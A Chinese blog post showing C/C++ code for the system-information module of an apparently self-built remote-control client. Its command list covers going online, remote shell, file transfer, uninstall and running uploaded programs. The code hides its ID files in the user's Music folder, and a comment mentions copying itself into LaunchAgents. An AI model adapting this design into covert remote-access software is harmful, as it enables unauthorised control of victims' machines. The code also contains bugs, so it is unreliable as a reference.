windows linux—unix 跨平台通信集成控制系统----系统硬件信息获取

控制集成系统需要了解系统的各项硬件信息,之前我们设计的时候,习惯使用c函数来搞,后来可能发现程序的移植性收到了一些影响,比如unix内核的一些c函数在linux下面是没有的:

比如

 

苹果达尔文内核的如下东西,linux里面就没有:

 

 //kern_return_t kr;
    //host_name_port_t myhost;
   // kernel_version_t kversion;
   // host_basic_info_data_t hinfo;
   // mach_msg_type_number_t count;
    char            *cpu_type_name,*cpu_subtype_name;
   // vm_size_t  page_size;

   // myhost = mach_host_self();
   // kr = host_kernel_version(myhost, kversion);
   // count = HOST_BASIC_INFO_COUNT;
   // kr = host_info(myhost, HOST_BASIC_INFO, (host_info_t)&hinfo, &count);
   // kr = host_page_size(myhost, &page_size);                                               //

 

所以换一种思路我们考虑使用,shell命令获取信息,完后进行字符处理,这样即使换了系统,我们代码里面换换shell命令就可以了。

 

使用到的一些结构体跟宏定义:

 

 

//  Created by mac mac on 13-5-8.
//  Copyright (c) 2013年 __MyCompanyName__. All rights reserved.
//

#ifndef mac_client_mac_h
#define mac_client_mac_h
////////////////////////////////////////////////////////////////////////////////////////
/*
1.注意中文标点,编译器不容易察觉
2.server 和client端的宏定义大小要统一
*/
/////////////////////////////////////////////////////////////////////////////////////////
#define MAX_SIZE 1024
#define MAX_NAME_LENGTH 64
#define MAX_PATH 260            //保持和windows端定义的一样
#define MAX_PATH_MAC 256       //苹果的最大长度
#define FALSE 0
#define TRUE 1

#define MAX_SEND_BUFFER 1024*4
#define MAX_RECV_BUFFER 1024*4

/////////////////////////////////////////////////////////////////////////////////////////

typedef struct Command //自定义命令结构体
{
    int order;//命令序号
    long datasize;
    void * hwnd;//窗口句柄

}Command;

typedef struct Server_Address //服务器地址
{

    char strIP[3][MAX_PATH];//服务器ip
    unsigned int uPort[3] ; //服务器端口
    char remark[MAX_NAME_LENGTH];
}Server_Address;

typedef struct _SYS_INFO //到时候得增加备注
{
    Command         cmd;
    char            remark[MAX_NAME_LENGTH];            //备注
    char            computer_name[MAX_NAME_LENGTH];     //
    char            user_name[MAX_NAME_LENGTH];         //
    char            sys_version[MAX_NAME_LENGTH];       //
    char            cpu_type[MAX_NAME_LENGTH];          //
    char            host_ip_address[MAX_NAME_LENGTH];   //内网ip
    char            ip_addresss[MAX_NAME_LENGTH];       //外网ip
    char            uuid[MAX_NAME_LENGTH];             //被控端的唯一标识

    unsigned int    cpu_num;                            //
    unsigned int    mem_total;                          //
    int             host_id;                            //
}SYS_INFO;

enum
{
    COMMAND_BIGIN = 20000,     //命令开始
    TOKEN_ONLINE,              //上线命令
    COMMAND_BREAK,             //断开链接
    COMMAND_UNINSTALL,         //卸载 
    COMMAND_MODIFY_REMARK,     //修改备注
///////////////////////////////////////////////////////////////////////////
    COMMAND_MANAGER_FILE,           //打开文件管理窗口
    COMMAND_GET_DIRECTORY,          //获取控制端主机根目录下所有文件信息
    COMMAND_GET_REQUEST_DIRECTORY,  //获取双击请求目录中所有文件信息
    COMMAND_SEARCH_FILE,            //文件搜索,还没做
    COMMAND_WRONG_DIRECTORY,        //目录为空或者不可读
    COMMAND_DELETE_FILE,            //删除文件
    COMMAND_FILE_CLOSE,             //关闭当前文件管理功能的链接
//////////////////////////////////////////////////////////////////////////

    COMMAND_MANAGER_CMD,    //打开cmd管理窗口
    TOKEN_CMD_NEXT,         //等待下一个命令
    COMMAND_SHELL,          //控制端请求的shell命令
    COMMAND_SHELL_CLOSE,    //关闭shell
//////////////////////////////////////////////////////////////////////////
    COMMAND_MANAGER_DOWNLOAD,   //打开文件下载功能
    TOKEN_DOWNLOAD_SETUP,   //控制端发送文件下载连接和uuid
    COMMAND_GET_FILEDATA,   //请求文件数据
    TOKEN_SENT_FILEDATA,    //发送文件数据
    TOKEN_CANT_GET_DATA,    //给控制端发送消息文件不可读
////////////////////////////////////////////////////////////////////////
    COMMAND_MANAGER_UPLOAD,     //开启文件上传
    TOKEN_UPLOAD_SETUP,         //接受文件上传连接
    COMMAND_SENT_UPLOAD_DATA,   //发送上传文件数据
    TOKEN_UPLOAD_DATA,          //请求上传文件数据
    TOKEN_UPLOAD_COMPLETE,      //文件上传完成
    COMMAND_RUN_PROGARM,        //上传运行的文件

    COMMAND_UPLOAD_CLOSE,      //关闭上传进程和连接

 };

#endif

 

 

下面是代码:

Systeminfo.h

 

/*
 * File:   System_Info.h
 * Author: Administrator
 *
 * Created on
 */

#ifndef SYSTEM_INFO_H
#define	SYSTEM_INFO_H
#include <iostream>
#include <stdlib.h>
#include <string.h>

#include <netinet/in.h>    // for sockaddr_in
#include <sys/types.h>    // for socket
#include <sys/socket.h>    // for socket
#include <stdio.h>        // for printf
#include <stdlib.h>        // for exit

#include <netdb.h>
#include <pthread.h>      //for th/Users/twd/Desktop/NewPc/mainread
#include <stdbool.h>     //for bool
#include <iconv.h>		//for utf-8 gb2312
#include <sys/cdefs.h>
#include <sys/errno.h>
#include <sys/stat.h>   //for dir
#include <unistd.h>
#include <dirent.h>
#include <arpa/inet.h>			//honts, inet_addr
#include <ctype.h>			//isdigit
#include <errno.h>			//errno
#include <fcntl.h>		//OWRONLY
#include <unistd.h>
#include <pwd.h>        //for username
//#include <copyfile.h>
//#include <mach/host_info.h>
#include <netdb.h>
#include <grp.h>
#include "mac.h"
//#include <mach/mach.h>

#include <sys/mount.h>
using namespace std;

int   GetDeviceInfo(SYS_INFO  * si);//声明一下,传递一个结构体到引用
void writeBeizhuInfo(char *beizhu);//写备份文件
char * readUuidInfo(SYS_INFO*  si);//读取生成的uuid
char * readUuid();
void  writeUuidInfo_info();
bool GetHost(char *domainName,char * ip);

char * readDirectory(char * directory);//上传文件的目录

int myexec(const char *cmd, string &resvec);//管道运行命令,得到一些系统信息

#endif	/* SYSTEM_INFO_H */

实现:

//
//  SystemInfo.cpp
//  mac_client
//
//  Created by mac mac on 13-5-21.
//  Copyright (c) 2013年 __MyCompanyName__. All rights reserved.
//

//#ifdef	__cplusplus
//extern "C" {
//#endif

//#include <iostream>

#include "SystemInfo.h"
#include <stdlib.h>

int beizhuaccess = 0;  //标志位,备注有没有改变

bool GetHost(char *domainName,char * ip)
{

    int i;
    struct hostent *he;
    struct in_addr **addr_list;

    //char * name = "www.csdn.net";

    if ((he = gethostbyname(domainName)) == NULL)
    {  // get the host info
        herror("gethostbyname");
        return NULL;
    }

    // print information about this host:
    printf("Official name is: %s\n", he->h_name);
    printf("    IP addresses: ");
    addr_list = (struct in_addr **)he->h_addr_list;

    for(i = 0; addr_list[i] != NULL; i++)
    {
        printf("%s ", inet_ntoa(*addr_list[i]));
        sprintf(ip, "%s",inet_ntoa(*addr_list[i]));
    }

    ///return
    printf("\n");

    return ip;
}

void  get_ip(SYS_INFO*  si)
{
    //char hname[128];
    struct hostent *hent;
    int i;

    gethostname(si->host_ip_address, sizeof(si->host_ip_address));

    //hent = gethostent();
    hent = gethostbyname(si->host_ip_address);

    printf("hostname: %s/naddress list: ", hent->h_name);
    for(i = 0; hent->h_addr_list[i]; i++)
    {
        printf("%s/t", inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])));
        memcpy(si->host_ip_address, inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])), sizeof(si->host_ip_address));
        printf("%s\n",si->host_ip_address);
    }
}

char * readDirectory(char * directory)
{

    char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char));

    struct passwd *pwd;
    pwd = getpwuid(getuid());
    login_name = pwd->pw_name;		//获取当前用户名

    //char path[MAX_NAME_LENGTH];

    sprintf(directory,"/Users/%s/Library/Music",login_name);//创建的路径
    //sprintf(directory,zhuliuPath,login_name);
    return directory;
}

char * readUuid()
{
    char path[MAX_PATH] = {0};
    char *uuid = (char *)malloc(MAX_PATH_MAC);

    char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char));

    struct passwd *pwd;
    pwd = getpwuid(getuid());
    login_name = pwd->pw_name;		//获取当前用户名

    sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
    //sprintf(path,zhuliuPath,login_name);

    strcat(path, "/uuid.lol");
    //if (access(path,0)==0)
    //{
    FILE *fp = fopen(path, "r");
    fgets(uuid,MAX_NAME_LENGTH,fp);
    fclose(fp);

    return  uuid;

}

char * readUuidInfo(SYS_INFO*  si)
{
    char path[MAX_PATH] = {0};
    char *uuid = (char *)malloc(MAX_PATH_MAC);

    char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char));

    struct passwd *pwd;
    pwd = getpwuid(getuid());
    login_name = pwd->pw_name;		//获取当前用户名

//

    sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
    //sprintf(path,zhuliuPath,login_name);

    strcat(path, "/uuid.lol");

        FILE *fp = fopen(path, "r");
        fgets(uuid,MAX_NAME_LENGTH,fp);
        fclose(fp);
    strcat(si->uuid, uuid);

    return  uuid;

}

void writeBeizhuInfo(char *beizhu)
{

    char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char));

    struct passwd *pwd;
    pwd = getpwuid(getuid());
    login_name = pwd->pw_name;		//获取当前用户名
    char path[MAX_PATH] = {0};

    sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
    //sprintf(path,zhuliuPath,login_name);
    strcat(path, "/beizhu.lol");
    //if (access(path,0)==0)
    //{
    FILE *fp = fopen(path, "w");
    fputs(beizhu,fp);
    //strcpy(si->remark, beizhu);
    //}
    fclose(fp);
}
int myexec(const char *cmd, string &resvec)
 {
    resvec.clear();
    FILE *pp = popen(cmd, "r"); //建立管道
    if (!pp)
    {
        return -1;
    }
    char tmp[1024]; //设置一个合适的长度,以存储每一行输出
    while (fgets(tmp, sizeof(tmp), pp) != NULL)
     {
        if (tmp[strlen(tmp) - 1] == '\n')
        {
            tmp[strlen(tmp) - 1] = '\0'; //去除换行符
        }
        resvec.append(tmp);
    }
    pclose(pp); //关闭管道
    return resvec.size();
}

void writeUuidInfo_info()
{
    FILE *fp = popen("uuidgen", "r");//打开管道,执行命令,生成uuid
    char buffer[MAX_NAME_LENGTH] = {0};
    while (NULL != fgets(buffer, MAX_NAME_LENGTH, fp)) //逐行读取执行结果并打印
    {
        printf(buffer);
    }
    //fclose(fp);

    char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char));

    struct passwd *pwd;
    pwd = getpwuid(getuid());
    login_name = pwd->pw_name;		//获取当前用户名
    char path[MAX_PATH] = {0};

   sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
    //sprintf(path,zhuliuPath,login_name);
    //*
    // int IsHave=mkdir(path,S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH);//创建LaunchAgents文件夹,把自身拷贝进去
   // if(IsHave<0)//创建新目录
    //{
    //  printf("mkdir failed\n");
    // exit(0);
   // }
    string str_mkdir = "mkdir -p ";
    str_mkdir.append(path);
    string str_mkdir_result;
   myexec(str_mkdir.c_str(),str_mkdir_result);

    strcat(path, "/uuid.lol");
    FILE *fpf = fopen(path, "w");
    int i = fputs(buffer,fpf);

    fclose(fpf);

    pclose(fp);

}

int   GetDeviceInfo(SYS_INFO *si)
{
    char temp[64]={0};
    gethostname(si->computer_name,sizeof(si->computer_name));

    struct passwd *passwd;
    passwd = getpwuid (getuid());
    struct group *group;
    group = getgrgid (passwd->pw_gid);

    sprintf(si->user_name,"%s-%s",group->gr_name,passwd->pw_name);

    string str_kernel;
    myexec("uname -sr",str_kernel);
    cout<<str_kernel<<endl;
    strcat(si->sys_version,str_kernel.c_str());

    string str_cpu;
    myexec("grep \"model name\" /proc/cpuinfo | cut -f2 -d:|head -1",str_cpu);
    cout<<str_cpu<<endl;
    strcat(si->cpu_type,str_cpu.c_str());

    puts(si->computer_name);

    struct hostent *hent;
    int i;

    gethostname(si->host_ip_address, sizeof(si->host_ip_address));

    hent = gethostent();
    //hent = gethostbyname(si->host_ip_address);

    printf("hostname: %s/naddress list: ", hent->h_name);
    for(i = 0; hent->h_addr_list[i]; i++)
    {
        printf("%s/t", inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])));
        memcpy(si->host_ip_address, inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])), sizeof(si->host_ip_address));
    }
    printf("%s\n",si->host_ip_address);

    string str_mem_total;
    myexec("free -m |grep \"Mem\" | awk \'{print $2}\'",str_mem_total);
    cout<<str_mem_total<<endl;
    si->mem_total = atoi(str_mem_total.c_str());
   // strcat(si->cpu_type,str_cpu.c_str());

    printf("%s\n",si->user_name);
    printf("%s\n",si->sys_version);
    printf("%s\n",si->cpu_type);
    printf("cpu:%d\n",si->cpu_num);
    printf("memory:%d\n",si->mem_total);

///////////////////////////////////读备注文件//////////////////////////////////////////////////////
    char path[MAX_PATH] = {0};
    char beizhu[MAX_PATH_MAC] = {0};

    sprintf(path,"/Users/%s/Library/Music",passwd->pw_name);//创建的路径
    //sprintf(path,zhuliuPath,passwd->pw_name);
    strcat(path, "/beizhu.lol");
    if (access(path,0)==0)
    {
        FILE *fp = fopen(path, "r");
        fgets(beizhu,MAX_NAME_LENGTH,fp);
        fclose(fp);
        beizhuaccess = 1;

        strcpy(si->remark, beizhu);
    }
    else
    {
        strcpy(si->remark, "default");

    }

///////////////////////////////////////读取uuid////////////////////////////////////////////////////////
    char uuidPath[MAX_PATH] = {0};
    sprintf(uuidPath,"/Users/%s/Library/Music",passwd->pw_name);
    strcat(uuidPath, "/uuid.lol");
     if (access(uuidPath,0)==0)
    {
        readUuidInfo(si);

    }
    else
    {
     writeUuidInfo_info();
     readUuidInfo(si);

    }

/////////////////////////////////////////////////////////////////////////////////////////////
    return 0;
}

//#ifdef	__cplusplus
//}

//#endif

 

 

搭建传输的socket平台参考下面博文:

 

http://blog.csdn.net/wangyaninglm/article/details/41940287

 

 

实现效果:

 

 

时间: 2024-10-18 12:30:59

windows linux—unix 跨平台通信集成控制系统----系统硬件信息获取的相关文章

windows linux—unix 跨平台通信集成控制系统----文件搜索

跨平台的网络通信,跟设备的集成控制,牵扯到在各种平台下的文件搜索问题,windows下面的已经有了. 地址如下: http://blog.csdn.net/wangyaninglm/article/details/8668132   这篇文章主要介绍一下linux下面的文件搜索实现: Filesearch.h // // Filesearch.h // // // Created by mac mac on 13-4-28. // Copyright (c) 2013年 __MyCompanyN

windows linux—unix 跨平台通信集成控制系统

首先,我们可以用到这个开源的开发包: mdk(Micro-Development-Kit)微量级软件开发包,提供几个常用类,主要实现了一个高性能的并发服务器引擎    使用c++开发,是一个跨平台的开发包,支持linux32/linux64/win32/win64的类库  .   mdk服务器引擎,提出面向业务的服务器开发模式,根据服务器业务层最关心的3件事,抽象出连接发生(OnConnect),消息到达(OnClose),连接关闭(OnClose)3个接口,让服务器端开发者可以全身心的投入业务

WMI 获取系统硬件信息的难题!

问题描述 近日,为程序发布后的授权问题,想用系统硬件信息作为注册码的生成依据,但了很久,试了多种办法,下载了别人的小程序或者代码,但没有一个是完美的(至少我目前的测试结果是这样).我用WMI的查询功能,编写了简单的代码,做了一个图形化的界面,方便比较查询结果因此,想在此交流一下.以请教高手.是在VB.NET环境下,获取相关信息的后界面:说明:红蓝字体表示是WMI中的类,为方便比较,特意用不同的类与相关的属性(或方法)作为提取手段;文本框前面的说明字符(有的是缩写),是指类的相关属性名如图:图一,

分享yahoo公司查看Linux系统硬件信息的脚本

首先,介绍一个网上流传的yahoo公司的曾经一个用于收集硬件信息的脚本,你可以在这里查看和下载hwconfig.下载地址:https://github.com/smilejay/shell/blob/master/sh2012/hwconfig.它在我的某系统上执行的情况如下:  代码如下 复制代码 [root@jay-linux test-programs]# ./hwconfig Summary:        QCI QSSC-S4R, 1 x 000 2.27GHz, 47.1GB /

Linux——查看系统硬件信息

前言:下面实验的信息是我在几台配置不同服 务器的测试结果,操作系统分别为Red Hat Enterprise Linux Server release 6.0 (Santiago).Ubuntu 7.10.所以你看到我实验信息的不同时,请不要大惊小怪.而且有些命令也不是所有Linux操作系统都支持(例如在Ubuntu 7.10就不支持dmesg),下面的内容是收集整理的,如有错误或新的方法,也会不停整理.更新. 一:查看CPU信息 1.CPU详细信息 方法1:CPU信息一般保存在proc目录下的

Linux下用Conky来监视系统运行信息的教程

  Conky 是一个用 'C' 语言写就的系统监视器,并在 GNU GPL 和 BSD 许可协议下发布,在 Linux 和 BSD 操作系统中都可以获取到它.这个应用是基于 X 视窗系统的,原本由 Torsmo 分支而来. 特点 简洁的用户界面; 高度可配置; 它既可使用内置的部件(超过 300 多个) 也可使用外部脚本,来在桌面或其自有容器中展示系统的状态; 低资源消耗; 它可显示范围广泛的系统参数,包括但不限于 CPU,内存,swap 分区 ,温度,进程,磁盘使用情况,网络状态,电池电量,

重新想象 Windows 8 Store Apps (30) - 信息: 获取包信息, 系统信息, 硬件信息, PnP信息, 常用设备信息

原文:重新想象 Windows 8 Store Apps (30) - 信息: 获取包信息, 系统信息, 硬件信息, PnP信息, 常用设备信息 [源码下载] 重新想象 Windows 8 Store Apps (30) - 信息: 获取包信息, 系统信息, 硬件信息, PnP信息, 常用设备信息 作者:webabcd 介绍重新想象 Windows 8 Store Apps 之 信息 获取包信息 获取系统信息 获取硬件信息 获取即插即用(PnP: Plug and Play)的设备的信息 获取常

分布式DB2 10.5 for Linux, UNIX和Windows特性的区别

DB2 10.5 产品家族包含 6 个付费版本,一个单独付费的特性和一个免费包.本文的目的是帮助您理解它们之间的区别. 文中还会列出 DB2 10.5 中提供的新功能,比如 BLU Acceleration.DB2 pureScale 增强.SQL 兼容性增强和简化的产品包装. DB2 with BLU Acceleration 结合了高级.创 新的功能,以加速执行数据库和数据仓库的工作负载分析.DB2 with BLU Acceleration 还集成了 IBM Cognos® Busines

正确授予IBM DB2 10.5 for Linux/UNIX/Windows服务器许可

客户之所以选择 DB2,离不开它难以置信的价值实现速度.它跨不同环境扩展和集成的能力.它的健壮性,以及它对宕机时间(包括计划内和计划外宕机)的最大限度的减少.本文将重点介绍 DB2 的高可用性 (HA) 方面,具体来讲,将从许可角度介绍高可用性. 我们收到了大量有关在高可用性环境中授予 DB2 许可的问题.引起混淆的一个主要来源是,供应商在高可用性环境中针对其数据库产品而采用了具有诸多变化的定价方式. 另一个混淆来源是词汇.例如,IT 行业有时将高可用性环境称为集群.我们已经不再喜欢单独使用这个